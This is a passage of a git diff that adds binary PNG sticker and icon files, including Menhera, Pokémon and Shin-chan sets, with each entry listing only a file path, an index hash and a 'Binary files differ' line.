b/icons/menhera/Sticker_1321.png new file mode 100644 index 00000000..ded84ef3 Binary files /dev/null and b/icons/menhera/Sticker_1321.png differ diff --git a/icons/menhera/Sticker_1322.png b/icons/menhera/Sticker_1322.png new file mode 100644 index 00000000..e1190caa Binary files /dev/null and b/icons/menhera/Sticker_1322.png differ diff --git a/icons/menhera/Sticker_1323.png b/icons/menhera/Sticker_1323.png new file mode 100644 index 00000000..dc602e47 Binary files /dev/null and b/icons/menhera/Sticker_1323.png differ diff --git a/icons/menhera/Sticker_1324.png b/icons/menhera/Sticker_1324.png new file mode 100644 index 00000000..e133250f Binary files /dev/null and b/icons/menhera/Sticker_1324.png differ diff --git a/icons/menhera/Sticker_1325.png b/icons/menhera/Sticker_1325.png new file mode 100644 index 00000000..f7d44c3e Binary files /dev/null and b/icons/menhera/Sticker_1325.png differ diff --git a/icons/menhera/Sticker_1326.png b/icons/menhera/Sticker_1326.png new file mode 100644 index 00000000..80dfb38f Binary files /dev/null and b/icons/menhera/Sticker_1326.png differ diff --git a/icons/menhera/Sticker_1327.png b/icons/menhera/Sticker_1327.png new file mode 100644 index 00000000..4b4c0f58 Binary files /dev/null and b/icons/menhera/Sticker_1327.png differ diff --git a/icons/menhera/Sticker_1328.png b/icons/menhera/Sticker_1328.png new file mode 100644 index 00000000..d7b59ba8 Binary files /dev/null and b/icons/menhera/Sticker_1328.png differ diff --git a/icons/menhera/Sticker_1329.png b/icons/menhera/Sticker_1329.png new file mode 100644 index 00000000..36680870 Binary files /dev/null and b/icons/menhera/Sticker_1329.png differ diff --git a/icons/menhera/Sticker_1330.png b/icons/menhera/Sticker_1330.png new file mode 100644 index 00000000..0c22f09f Binary files /dev/null and b/icons/menhera/Sticker_1330.png differ diff --git a/icons/menhera/Sticker_1331.png b/icons/menhera/Sticker_1331.png new file mode 100644 index 00000000..d1905700 Binary files /dev/null and b/icons/menhera/Sticker_1331.png differ diff --git a/icons/menhera/Sticker_1332.png b/icons/menhera/Sticker_1332.png new file mode 100644 index 00000000..4c2757a3 Binary files /dev/null and b/icons/menhera/Sticker_1332.png differ diff --git a/icons/menhera/Sticker_1333.png b/icons/menhera/Sticker_1333.png new file mode 100644 index 00000000..70ef409e Binary files /dev/null and b/icons/menhera/Sticker_1333.png differ diff --git a/icons/menhera/Sticker_1334.png b/icons/menhera/Sticker_1334.png new file mode 100644 index 00000000..e93b61b7 Binary files /dev/null and b/icons/menhera/Sticker_1334.png differ diff --git a/icons/menhera/Sticker_1335.png b/icons/menhera/Sticker_1335.png new file mode 100644 index 00000000..840a6d35 Binary files /dev/null and b/icons/menhera/Sticker_1335.png differ diff --git a/icons/others/18Plus.png b/icons/others/18Plus.png new file mode 100644 index 00000000..460b8bf2 Binary files /dev/null and b/icons/others/18Plus.png differ diff --git a/icons/others/cookie.png b/icons/others/cookie.png new file mode 100644 index 00000000..bbfac79c Binary files /dev/null and b/icons/others/cookie.png differ diff --git a/icons/others/hot_search.png b/icons/others/hot_search.png new file mode 100644 index 00000000..06bfd8cc Binary files /dev/null and b/icons/others/hot_search.png differ diff --git a/icons/pokemon/001.png b/icons/pokemon/001.png new file mode 100644 index 00000000..f6b31e3d Binary files /dev/null and b/icons/pokemon/001.png differ diff --git a/icons/pokemon/004.png b/icons/pokemon/004.png new file mode 100644 index 00000000..302bc044 Binary files /dev/null and b/icons/pokemon/004.png differ diff --git a/icons/pokemon/007.png b/icons/pokemon/007.png new file mode 100644 index 00000000..24e6dbf7 Binary files /dev/null and b/icons/pokemon/007.png differ diff --git a/icons/pokemon/010.png b/icons/pokemon/010.png new file mode 100644 index 00000000..5d479923 Binary files /dev/null and b/icons/pokemon/010.png differ diff --git a/icons/pokemon/012.png b/icons/pokemon/012.png new file mode 100644 index 00000000..78824e4e Binary files /dev/null and b/icons/pokemon/012.png differ diff --git a/icons/pokemon/015.png b/icons/pokemon/015.png new file mode 100644 index 00000000..4255fbb3 Binary files /dev/null and b/icons/pokemon/015.png differ diff --git a/icons/pokemon/016.png b/icons/pokemon/016.png new file mode 100644 index 00000000..7e473227 Binary files /dev/null and b/icons/pokemon/016.png differ diff --git a/icons/pokemon/019.png b/icons/pokemon/019.png new file mode 100644 index 00000000..536e8791 Binary files /dev/null and b/icons/pokemon/019.png differ diff --git a/icons/pokemon/020.png b/icons/pokemon/020.png new file mode 100644 index 00000000..ba15696f Binary files /dev/null and b/icons/pokemon/020.png differ diff --git a/icons/pokemon/021.png b/icons/pokemon/021.png new file mode 100644 index 00000000..b4d57a8e Binary files /dev/null and b/icons/pokemon/021.png differ diff --git a/icons/pokemon/023.png b/icons/pokemon/023.png new file mode 100644 index 00000000..4fcae2fc Binary files /dev/null and b/icons/pokemon/023.png differ diff --git a/icons/pokemon/025.png b/icons/pokemon/025.png new file mode 100644 index 00000000..98ba5d61 Binary files /dev/null and b/icons/pokemon/025.png differ diff --git a/icons/pokemon/027.png b/icons/pokemon/027.png new file mode 100644 index 00000000..7e438113 Binary files /dev/null and b/icons/pokemon/027.png differ diff --git a/icons/pokemon/029.png b/icons/pokemon/029.png new file mode 100644 index 00000000..0883ff76 Binary files /dev/null and b/icons/pokemon/029.png differ diff --git a/icons/pokemon/032.png b/icons/pokemon/032.png new file mode 100644 index 00000000..b0e9a9ce Binary files /dev/null and b/icons/pokemon/032.png differ diff --git a/icons/pokemon/035.png b/icons/pokemon/035.png new file mode 100644 index 00000000..ecf36e93 Binary files /dev/null and b/icons/pokemon/035.png differ diff --git a/icons/pokemon/037.png b/icons/pokemon/037.png new file mode 100644 index 00000000..8a7a234a Binary files /dev/null and b/icons/pokemon/037.png differ diff --git a/icons/pokemon/039.png b/icons/pokemon/039.png new file mode 100644 index 00000000..d650f59f Binary files /dev/null and b/icons/pokemon/039.png differ diff --git a/icons/pokemon/041.png b/icons/pokemon/041.png new file mode 100644 index 00000000..44933ca8 Binary files /dev/null and b/icons/pokemon/041.png differ diff --git a/icons/pokemon/043.png b/icons/pokemon/043.png new file mode 100644 index 00000000..eaef0cd9 Binary files /dev/null and b/icons/pokemon/043.png differ diff --git a/icons/pokemon/044.png b/icons/pokemon/044.png new file mode 100644 index 00000000..9e2aca17 Binary files /dev/null and b/icons/pokemon/044.png differ diff --git a/icons/pokemon/046.png b/icons/pokemon/046.png new file mode 100644 index 00000000..a26408ac Binary files /dev/null and b/icons/pokemon/046.png differ diff --git a/icons/pokemon/048.png b/icons/pokemon/048.png new file mode 100644 index 00000000..495101d0 Binary files /dev/null and b/icons/pokemon/048.png differ diff --git a/icons/pokemon/050.png b/icons/pokemon/050.png new file mode 100644 index 00000000..569eec6d Binary files /dev/null and b/icons/pokemon/050.png differ diff --git a/icons/pokemon/052.png b/icons/pokemon/052.png new file mode 100644 index 00000000..2e02c669 Binary files /dev/null and b/icons/pokemon/052.png differ diff --git a/icons/pokemon/054.png b/icons/pokemon/054.png new file mode 100644 index 00000000..8a54ef3a Binary files /dev/null and b/icons/pokemon/054.png differ diff --git a/icons/pokemon/056.png b/icons/pokemon/056.png new file mode 100644 index 00000000..d9c3e44a Binary files /dev/null and b/icons/pokemon/056.png differ diff --git a/icons/pokemon/058.png b/icons/pokemon/058.png new file mode 100644 index 00000000..604acbe4 Binary files /dev/null and b/icons/pokemon/058.png differ diff --git a/icons/pokemon/060.png b/icons/pokemon/060.png new file mode 100644 index 00000000..d663a691 Binary files /dev/null and b/icons/pokemon/060.png differ diff --git a/icons/pokemon/063.png b/icons/pokemon/063.png new file mode 100644 index 00000000..916f448e Binary files /dev/null and b/icons/pokemon/063.png differ diff --git a/icons/pokemon/066.png b/icons/pokemon/066.png new file mode 100644 index 00000000..3f5a2471 Binary files /dev/null and b/icons/pokemon/066.png differ diff --git a/icons/pokemon/069.png b/icons/pokemon/069.png new file mode 100644 index 00000000..fd7fab25 Binary files /dev/null and b/icons/pokemon/069.png differ diff --git a/icons/pokemon/072.png b/icons/pokemon/072.png new file mode 100644 index 00000000..585af370 Binary files /dev/null and b/icons/pokemon/072.png differ diff --git a/icons/pokemon/074.png b/icons/pokemon/074.png new file mode 100644 index 00000000..9dfb02a0 Binary files /dev/null and b/icons/pokemon/074.png differ diff --git a/icons/pokemon/077.png b/icons/pokemon/077.png new file mode 100644 index 00000000..006ad2b9 Binary files /dev/null and b/icons/pokemon/077.png differ diff --git a/icons/pokemon/079.png b/icons/pokemon/079.png new file mode 100644 index 00000000..f0906af3 Binary files /dev/null and b/icons/pokemon/079.png differ diff --git a/icons/pokemon/081.png b/icons/pokemon/081.png new file mode 100644 index 00000000..7bee2859 Binary files /dev/null and b/icons/pokemon/081.png differ diff --git a/icons/pokemon/083.png b/icons/pokemon/083.png new file mode 100644 index 00000000..9fc38668 Binary files /dev/null and b/icons/pokemon/083.png differ diff --git a/icons/pokemon/084.png b/icons/pokemon/084.png new file mode 100644 index 00000000..fe201299 Binary files /dev/null and b/icons/pokemon/084.png differ diff --git a/icons/pokemon/086.png b/icons/pokemon/086.png new file mode 100644 index 00000000..741e3254 Binary files /dev/null and b/icons/pokemon/086.png differ diff --git a/icons/pokemon/088.png b/icons/pokemon/088.png new file mode 100644 index 00000000..e9682c60 Binary files /dev/null and b/icons/pokemon/088.png differ diff --git a/icons/pokemon/090.png b/icons/pokemon/090.png new file mode 100644 index 00000000..e8b759f7 Binary files /dev/null and b/icons/pokemon/090.png differ diff --git a/icons/pokemon/092.png b/icons/pokemon/092.png new file mode 100644 index 00000000..da0adaa9 Binary files /dev/null and b/icons/pokemon/092.png differ diff --git a/icons/pokemon/095.png b/icons/pokemon/095.png new file mode 100644 index 00000000..f3119d45 Binary files /dev/null and b/icons/pokemon/095.png differ diff --git a/icons/pokemon/096.png b/icons/pokemon/096.png new file mode 100644 index 00000000..e9741fac Binary files /dev/null and b/icons/pokemon/096.png differ diff --git a/icons/pokemon/098.png b/icons/pokemon/098.png new file mode 100644 index 00000000..87243eeb Binary files /dev/null and b/icons/pokemon/098.png differ diff --git a/icons/pokemon/100.png b/icons/pokemon/100.png new file mode 100644 index 00000000..6ef5c200 Binary files /dev/null and b/icons/pokemon/100.png differ diff --git a/icons/pokemon/102.png b/icons/pokemon/102.png new file mode 100644 index 00000000..36a04879 Binary files /dev/null and b/icons/pokemon/102.png differ diff --git a/icons/pokemon/104.png b/icons/pokemon/104.png new file mode 100644 index 00000000..68b04a54 Binary files /dev/null and b/icons/pokemon/104.png differ diff --git a/icons/pokemon/106.png b/icons/pokemon/106.png new file mode 100644 index 00000000..9b9f9b4c Binary files /dev/null and b/icons/pokemon/106.png differ diff --git a/icons/pokemon/108.png b/icons/pokemon/108.png new file mode 100644 index 00000000..1ea0ee58 Binary files /dev/null and b/icons/pokemon/108.png differ diff --git a/icons/pokemon/109.png b/icons/pokemon/109.png new file mode 100644 index 00000000..eec32cb2 Binary files /dev/null and b/icons/pokemon/109.png differ diff --git a/icons/pokemon/111.png b/icons/pokemon/111.png new file mode 100644 index 00000000..08ce93b8 Binary files /dev/null and b/icons/pokemon/111.png differ diff --git a/icons/pokemon/113.png b/icons/pokemon/113.png new file mode 100644 index 00000000..bf7183b4 Binary files /dev/null and b/icons/pokemon/113.png differ diff --git a/icons/pokemon/114.png b/icons/pokemon/114.png new file mode 100644 index 00000000..b3529517 Binary files /dev/null and b/icons/pokemon/114.png differ diff --git a/icons/pokemon/115.png b/icons/pokemon/115.png new file mode 100644 index 00000000..0bfc892f Binary files /dev/null and b/icons/pokemon/115.png differ diff --git a/icons/pokemon/116.png b/icons/pokemon/116.png new file mode 100644 index 00000000..707c793b Binary files /dev/null and b/icons/pokemon/116.png differ diff --git a/icons/pokemon/118.png b/icons/pokemon/118.png new file mode 100644 index 00000000..14c8c0d9 Binary files /dev/null and b/icons/pokemon/118.png differ diff --git a/icons/pokemon/120.png b/icons/pokemon/120.png new file mode 100644 index 00000000..56c661be Binary files /dev/null and b/icons/pokemon/120.png differ diff --git a/icons/pokemon/122.png b/icons/pokemon/122.png new file mode 100644 index 00000000..47c25e23 Binary files /dev/null and b/icons/pokemon/122.png differ diff --git a/icons/pokemon/123.png b/icons/pokemon/123.png new file mode 100644 index 00000000..3a80a971 Binary files /dev/null and b/icons/pokemon/123.png differ diff --git a/icons/pokemon/124.png b/icons/pokemon/124.png new file mode 100644 index 00000000..723b83bc Binary files /dev/null and b/icons/pokemon/124.png differ diff --git a/icons/pokemon/125.png b/icons/pokemon/125.png new file mode 100644 index 00000000..4cb75f6b Binary files /dev/null and b/icons/pokemon/125.png differ diff --git a/icons/pokemon/127.png b/icons/pokemon/127.png new file mode 100644 index 00000000..6905ad45 Binary files /dev/null and b/icons/pokemon/127.png differ diff --git a/icons/pokemon/128.png b/icons/pokemon/128.png new file mode 100644 index 00000000..8ff898de Binary files /dev/null and b/icons/pokemon/128.png differ diff --git a/icons/pokemon/129.png b/icons/pokemon/129.png new file mode 100644 index 00000000..f50e6dce Binary files /dev/null and b/icons/pokemon/129.png differ diff --git a/icons/pokemon/131.png b/icons/pokemon/131.png new file mode 100644 index 00000000..97d67643 Binary files /dev/null and b/icons/pokemon/131.png differ diff --git a/icons/pokemon/132.png b/icons/pokemon/132.png new file mode 100644 index 00000000..22238ba0 Binary files /dev/null and b/icons/pokemon/132.png differ diff --git a/icons/pokemon/133.png b/icons/pokemon/133.png new file mode 100644 index 00000000..df385348 Binary files /dev/null and b/icons/pokemon/133.png differ diff --git a/icons/pokemon/137.png b/icons/pokemon/137.png new file mode 100644 index 00000000..397fa9d0 Binary files /dev/null and b/icons/pokemon/137.png differ diff --git a/icons/pokemon/138.png b/icons/pokemon/138.png new file mode 100644 index 00000000..ff3821bc Binary files /dev/null and b/icons/pokemon/138.png differ diff --git a/icons/pokemon/140.png b/icons/pokemon/140.png new file mode 100644 index 00000000..189fe608 Binary files /dev/null and b/icons/pokemon/140.png differ diff --git a/icons/pokemon/141.png b/icons/pokemon/141.png new file mode 100644 index 00000000..fe2f5ff5 Binary files /dev/null and b/icons/pokemon/141.png differ diff --git a/icons/pokemon/143.png b/icons/pokemon/143.png new file mode 100644 index 00000000..d7cc3f99 Binary files /dev/null and b/icons/pokemon/143.png differ diff --git a/icons/pokemon/144.png b/icons/pokemon/144.png new file mode 100644 index 00000000..8be231d0 Binary files /dev/null and b/icons/pokemon/144.png differ diff --git a/icons/pokemon/145.png b/icons/pokemon/145.png new file mode 100644 index 00000000..1f3fe544 Binary files /dev/null and b/icons/pokemon/145.png differ diff --git a/icons/pokemon/146.png b/icons/pokemon/146.png new file mode 100644 index 00000000..95af5136 Binary files /dev/null and b/icons/pokemon/146.png differ diff --git a/icons/pokemon/147.png b/icons/pokemon/147.png new file mode 100644 index 00000000..d5fcf4d4 Binary files /dev/null and b/icons/pokemon/147.png differ diff --git a/icons/pokemon/149.png b/icons/pokemon/149.png new file mode 100644 index 00000000..42fff873 Binary files /dev/null and b/icons/pokemon/149.png differ diff --git a/icons/pokemon/150.png b/icons/pokemon/150.png new file mode 100644 index 00000000..9678a59b Binary files /dev/null and b/icons/pokemon/150.png differ diff --git a/icons/pokemon/151.png b/icons/pokemon/151.png new file mode 100644 index 00000000..9f4602c5 Binary files /dev/null and b/icons/pokemon/151.png differ diff --git a/icons/pokemon/172.png b/icons/pokemon/172.png new file mode 100644 index 00000000..d9d3268e Binary files /dev/null and b/icons/pokemon/172.png differ diff --git a/icons/pokemon/173.png b/icons/pokemon/173.png new file mode 100644 index 00000000..5e801d69 Binary files /dev/null and b/icons/pokemon/173.png differ diff --git a/icons/pokemon/174.png b/icons/pokemon/174.png new file mode 100644 index 00000000..161b1a10 Binary files /dev/null and b/icons/pokemon/174.png differ diff --git a/icons/pokemon/175.png b/icons/pokemon/175.png new file mode 100644 index 00000000..930890b4 Binary files /dev/null and b/icons/pokemon/175.png differ diff --git a/icons/pokemon/X001.png b/icons/pokemon/X001.png new file mode 100644 index 00000000..d3af7d53 Binary files /dev/null and b/icons/pokemon/X001.png differ diff --git a/icons/pokemon/X002.png b/icons/pokemon/X002.png new file mode 100644 index 00000000..a0c2cfed Binary files /dev/null and b/icons/pokemon/X002.png differ diff --git a/icons/pokemon/X003.png b/icons/pokemon/X003.png new file mode 100644 index 00000000..14435189 Binary files /dev/null and b/icons/pokemon/X003.png differ diff --git a/icons/pokemon/X004.png b/icons/pokemon/X004.png new file mode 100644 index 00000000..d8b28056 Binary files /dev/null and b/icons/pokemon/X004.png differ diff --git a/icons/pokemon/X005.png b/icons/pokemon/X005.png new file mode 100644 index 00000000..3b66b774 Binary files /dev/null and b/icons/pokemon/X005.png differ diff --git a/icons/pokemon/X006.png b/icons/pokemon/X006.png new file mode 100644 index 00000000..209f8736 Binary files /dev/null and b/icons/pokemon/X006.png differ diff --git a/icons/pokemon/X007.png b/icons/pokemon/X007.png new file mode 100644 index 00000000..88c45cf9 Binary files /dev/null and b/icons/pokemon/X007.png differ diff --git a/icons/pokemon/X008.png b/icons/pokemon/X008.png new file mode 100644 index 00000000..b5290d8d Binary files /dev/null and b/icons/pokemon/X008.png differ diff --git a/icons/pokemon/X009.png b/icons/pokemon/X009.png new file mode 100644 index 00000000..dea92be8 Binary files /dev/null and b/icons/pokemon/X009.png differ diff --git a/icons/pokemon/X010.png b/icons/pokemon/X010.png new file mode 100644 index 00000000..31e84a1b Binary files /dev/null and b/icons/pokemon/X010.png differ diff --git a/icons/pokemon/X011.png b/icons/pokemon/X011.png new file mode 100644 index 00000000..ffd420d6 Binary files /dev/null and b/icons/pokemon/X011.png differ diff --git a/icons/pokemon/X012.png b/icons/pokemon/X012.png new file mode 100644 index 00000000..22ec385e Binary files /dev/null and b/icons/pokemon/X012.png differ diff --git a/icons/pokemon/X013.png b/icons/pokemon/X013.png new file mode 100644 index 00000000..4c8abf57 Binary files /dev/null and b/icons/pokemon/X013.png differ diff --git a/icons/pokemon/X014.png b/icons/pokemon/X014.png new file mode 100644 index 00000000..20a37516 Binary files /dev/null and b/icons/pokemon/X014.png differ diff --git a/icons/pokemon/X015.png b/icons/pokemon/X015.png new file mode 100644 index 00000000..953bdaf0 Binary files /dev/null and b/icons/pokemon/X015.png differ diff --git a/icons/pokemon/Z001.png b/icons/pokemon/Z001.png new file mode 100644 index 00000000..859104e8 Binary files /dev/null and b/icons/pokemon/Z001.png differ diff --git a/icons/pokemon/Z002.png b/icons/pokemon/Z002.png new file mode 100644 index 00000000..33e8f72e Binary files /dev/null and b/icons/pokemon/Z002.png differ diff --git a/icons/pokemon/Z003.png b/icons/pokemon/Z003.png new file mode 100644 index 00000000..80c7adb9 Binary files /dev/null and b/icons/pokemon/Z003.png differ diff --git a/icons/pokemon/Z004.png b/icons/pokemon/Z004.png new file mode 100644 index 00000000..fb13186d Binary files /dev/null and b/icons/pokemon/Z004.png differ diff --git a/icons/pokemon/Z005.png b/icons/pokemon/Z005.png new file mode 100644 index 00000000..f792e1cd Binary files /dev/null and b/icons/pokemon/Z005.png differ diff --git a/icons/pokemon/Z006.png b/icons/pokemon/Z006.png new file mode 100644 index 00000000..e1d1377f Binary files /dev/null and b/icons/pokemon/Z006.png differ diff --git a/icons/pokemon/Z007.png b/icons/pokemon/Z007.png new file mode 100644 index 00000000..d5b06ff6 Binary files /dev/null and b/icons/pokemon/Z007.png differ diff --git a/icons/pokemon/Z008.png b/icons/pokemon/Z008.png new file mode 100644 index 00000000..948fc66c Binary files /dev/null and b/icons/pokemon/Z008.png differ diff --git a/icons/pokemon/Z009.png b/icons/pokemon/Z009.png new file mode 100644 index 00000000..8c5ea233 Binary files /dev/null and b/icons/pokemon/Z009.png differ diff --git a/icons/pokemon/Z010.png b/icons/pokemon/Z010.png new file mode 100644 index 00000000..89b915db Binary files /dev/null and b/icons/pokemon/Z010.png differ diff --git a/icons/pokemon/Z011.png b/icons/pokemon/Z011.png new file mode 100644 index 00000000..0e6b8ba2 Binary files /dev/null and b/icons/pokemon/Z011.png differ diff --git a/icons/pokemon/Z012.png b/icons/pokemon/Z012.png new file mode 100644 index 00000000..2021ba84 Binary files /dev/null and b/icons/pokemon/Z012.png differ diff --git a/icons/pokemon/Z013.png b/icons/pokemon/Z013.png new file mode 100644 index 00000000..c8fcce91 Binary files /dev/null and b/icons/pokemon/Z013.png differ diff --git a/icons/pokemon/Z014.png b/icons/pokemon/Z014.png new file mode 100644 index 00000000..0fce1d0e Binary files /dev/null and b/icons/pokemon/Z014.png differ diff --git a/icons/pokemon/Z015.png b/icons/pokemon/Z015.png new file mode 100644 index 00000000..525fe491 Binary files /dev/null and b/icons/pokemon/Z015.png differ diff --git a/icons/pokemon/Z016.png b/icons/pokemon/Z016.png new file mode 100644 index 00000000..cfc36cba Binary files /dev/null and b/icons/pokemon/Z016.png differ diff --git a/icons/pokemon/Z017.png b/icons/pokemon/Z017.png new file mode 100644 index 00000000..a7a7642a Binary files /dev/null and b/icons/pokemon/Z017.png differ diff --git a/icons/pokemon/Z018.png b/icons/pokemon/Z018.png new file mode 100644 index 00000000..560ba866 Binary files /dev/null and b/icons/pokemon/Z018.png differ diff --git a/icons/pokemon/Z019.png b/icons/pokemon/Z019.png new file mode 100644 index 00000000..5332badf Binary files /dev/null and b/icons/pokemon/Z019.png differ diff --git a/icons/pokemon/Z020.png b/icons/pokemon/Z020.png new file mode 100644 index 00000000..49495dbf Binary files /dev/null and b/icons/pokemon/Z020.png differ diff --git a/icons/pokemon/Z021.png b/icons/pokemon/Z021.png new file mode 100644 index 00000000..819bd678 Binary files /dev/null and b/icons/pokemon/Z021.png differ diff --git a/icons/pokemon/Z022.png b/icons/pokemon/Z022.png new file mode 100644 index 00000000..e48203e0 Binary files /dev/null and b/icons/pokemon/Z022.png differ diff --git a/icons/pokemon/Z023.png b/icons/pokemon/Z023.png new file mode 100644 index 00000000..5a77dc08 Binary files /dev/null and b/icons/pokemon/Z023.png differ diff --git a/icons/pokemon/Z024.png b/icons/pokemon/Z024.png new file mode 100644 index 00000000..c16e0dda Binary files /dev/null and b/icons/pokemon/Z024.png differ diff --git a/icons/pokemon/Z025.png b/icons/pokemon/Z025.png new file mode 100644 index 00000000..6501d249 Binary files /dev/null and b/icons/pokemon/Z025.png differ diff --git a/icons/pokemon/Z026.png b/icons/pokemon/Z026.png new file mode 100644 index 00000000..a71730de Binary files /dev/null and b/icons/pokemon/Z026.png differ diff --git a/icons/pokemon/Z027.png b/icons/pokemon/Z027.png new file mode 100644 index 00000000..1499254b Binary files /dev/null and b/icons/pokemon/Z027.png differ diff --git a/icons/pokemon/Z028.png b/icons/pokemon/Z028.png new file mode 100644 index 00000000..cdd08b44 Binary files /dev/null and b/icons/pokemon/Z028.png differ diff --git a/icons/pokemon/Z029.png b/icons/pokemon/Z029.png new file mode 100644 index 00000000..b84ae2ed Binary files /dev/null and b/icons/pokemon/Z029.png differ diff --git a/icons/pokemon/Z030.png b/icons/pokemon/Z030.png new file mode 100644 index 00000000..4140f21f Binary files /dev/null and b/icons/pokemon/Z030.png differ diff --git a/icons/shin-chan/Shin-chan-1001.png b/icons/shin-chan/Shin-chan-1001.png new file mode 100644 index 00000000..0443b494 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1001.png differ diff --git a/icons/shin-chan/Shin-chan-1002.png b/icons/shin-chan/Shin-chan-1002.png new file mode 100644 index 00000000..e89abe20 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1002.png differ diff --git a/icons/shin-chan/Shin-chan-1003.png b/icons/shin-chan/Shin-chan-1003.png new file mode 100644 index 00000000..187548d3 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1003.png differ diff --git a/icons/shin-chan/Shin-chan-1004.png b/icons/shin-chan/Shin-chan-1004.png new file mode 100644 index 00000000..c4d130d0 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1004.png differ diff --git a/icons/shin-chan/Shin-chan-1005.png b/icons/shin-chan/Shin-chan-1005.png new file mode 100644 index 00000000..4dfcecab Binary files /dev/null and b/icons/shin-chan/Shin-chan-1005.png differ diff --git a/icons/shin-chan/Shin-chan-1006.png b/icons/shin-chan/Shin-chan-1006.png new file mode 100644 index 00000000..ea27c9cc Binary files /dev/null and b/icons/shin-chan/Shin-chan-1006.png differ diff --git a/icons/shin-chan/Shin-chan-1007.png b/icons/shin-chan/Shin-chan-1007.png new file mode 100644 index 00000000..64d68879 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1007.png differ diff --git a/icons/shin-chan/Shin-chan-1008.png b/icons/shin-chan/Shin-chan-1008.png new file mode 100644 index 00000000..7c6023cd Binary files /dev/null and b/icons/shin-chan/Shin-chan-1008.png differ diff --git a/icons/shin-chan/Shin-chan-1009.png b/icons/shin-chan/Shin-chan-1009.png new file mode 100644 index 00000000..f5e41e7e Binary files /dev/null and b/icons/shin-chan/Shin-chan-1009.png differ diff --git a/icons/shin-chan/Shin-chan-1010.png b/icons/shin-chan/Shin-chan-1010.png new file mode 100644 index 00000000..12a3097d Binary files /dev/null and b/icons/shin-chan/Shin-chan-1010.png differ diff --git a/icons/shin-chan/Shin-chan-1011.png b/icons/shin-chan/Shin-chan-1011.png new file mode 100644 index 00000000..12fb9299 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1011.png differ diff --git a/icons/shin-chan/Shin-chan-1012.png b/icons/shin-chan/Shin-chan-1012.png new file mode 100644 index 00000000..0389f60c Binary files /dev/null and b/icons/shin-chan/Shin-chan-1012.png differ diff --git a/icons/shin-chan/Shin-chan-1013.png b/icons/shin-chan/Shin-chan-1013.png new file mode 100644 index 00000000..0ea5465e Binary files /dev/null and b/icons/shin-chan/Shin-chan-1013.png differ diff --git a/icons/shin-chan/Shin-chan-1014.png b/icons/shin-chan/Shin-chan-1014.png new file mode 100644 index 00000000..ec9e397c Binary files /dev/null and b/icons/shin-chan/Shin-chan-1014.png differ diff --git a/icons/shin-chan/Shin-chan-1015.png b/icons/shin-chan/Shin-chan-1015.png new file mode 100644 index 00000000..9a39d24d Binary files /dev/null and b/icons/shin-chan/Shin-chan-1015.png differ diff --git a/icons/shin-chan/Shin-chan-1016.png b/icons/shin-chan/Shin-chan-1016.png new file mode 100644 index 00000000..4cc03c47 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1016.png differ diff --git a/icons/shin-chan/Shin-chan-1017.png b/icons/shin-chan/Shin-chan-1017.png new file mode 100644 index 00000000..ac53a0d7 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1017.png differ diff --git a/icons/shin-chan/Shin-chan-1018.png b/icons/shin-chan/Shin-chan-1018.png new file mode 100644 index 00000000..02a01c59 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1018.png differ diff --git a/icons/shin-chan/Shin-chan-1019.png b/icons/shin-chan/Shin-chan-1019.png new file mode 100644 index 00000000..6c0f2d48 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1019.png differ diff --git a/icons/shin-chan/Shin-chan-1020.png b/icons/shin-chan/Shin-chan-1020.png new file mode 100644 index 00000000..0ffea3c0 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1020.png differ diff --git a/icons/shin-chan/Shin-chan-1021.png b/icons/shin-chan/Shin-chan-1021.png new file mode 100644 index 00000000..fb3c9f4b Binary files /dev/null and b/icons/shin-chan/Shin-chan-1021.png differ diff --git a/icons/shin-chan/Shin-chan-1022.png b/icons/shin-chan/Shin-chan-1022.png new file mode 100644 index 00000000..7d5b45db Binary files /dev/null and b/icons/shin-chan/Shin-chan-1022.png differ diff --git a/icons/shin-chan/Shin-chan-1023.png b/icons/shin-chan/Shin-chan-1023.png new file mode 100644 index 00000000..5fae466b Binary files /dev/null and b/icons/shin-chan/Shin-chan-1023.png differ diff --git a/icons/shin-chan/Shin-chan-1024.png b/icons/shin-chan/Shin-chan-1024.png new file mode 100644 index 00000000..7a71fe41 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1024.png differ diff --git a/icons/shin-chan/Shin-chan-1025.png b/icons/shin-chan/Shin-chan-1025.png new file mode 100644 index 00000000..b2842d0f Binary files /dev/null and b/icons/shin-chan/Shin-chan-1025.png differ diff --git a/icons/shin-chan/Shin-chan-1026.png b/icons/shin-chan/Shin-chan-1026.png new file mode 100644 index 00000000..7592ee45 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1026.png differ diff --git a/icons/shin-chan/Shin-chan-1027.png b/icons/shin-chan/Shin-chan-1027.png new file mode 100644 index 00000000..c116d27b Binary files /dev/null and b/icons/shin-chan/Shin-chan-1027.png differ diff --git a/icons/shin-chan/Shin-chan-1028.png b/icons/shin-chan/Shin-chan-1028.png new file mode 100644 index 00000000..29fefdf9 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1028.png differ diff --git a/icons/shin-chan/Shin-chan-1029.png b/icons/shin-chan/Shin-chan-1029.png new file mode 100644 index 00000000..0baf8905 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1029.png differ diff --git a/icons/shin-chan/Shin-chan-1030.png b/icons/shin-chan/Shin-chan-1030.png new file mode 100644 index 00000000..84541a8e Binary files /dev/null and b/icons/shin-chan/Shin-chan-1030.png differ diff --git a/icons/shin-chan/Shin-chan-1031.png b/icons/shin-chan/Shin-chan-1031.png new file mode 100644 index 00000000..ab66896f Binary files /dev/null and b/icons/shin-chan/Shin-chan-1031.png differ diff --git a/icons/shin-chan/Shin-chan-1032.png b/icons/shin-chan/Shin-chan-1032.png new file mode 100644 index 00000000..55cd043b Binary files /dev/null and b/icons/shin-chan/Shin-chan-1032.png differ diff --git a/icons/shin-chan/Shin-chan-1033.png b/icons/shin-chan/Shin-chan-1033.png new file mode 100644 index 00000000..77bc4d1f Binary files /dev/null and b/icons/shin-chan/Shin-chan-1033.png differ diff --git a/icons/shin-chan/Shin-chan-1034.png b/icons/shin-chan/Shin-chan-1034.png new file mode 100644 index 00000000..5ce93ac6 Binary files /dev/null and 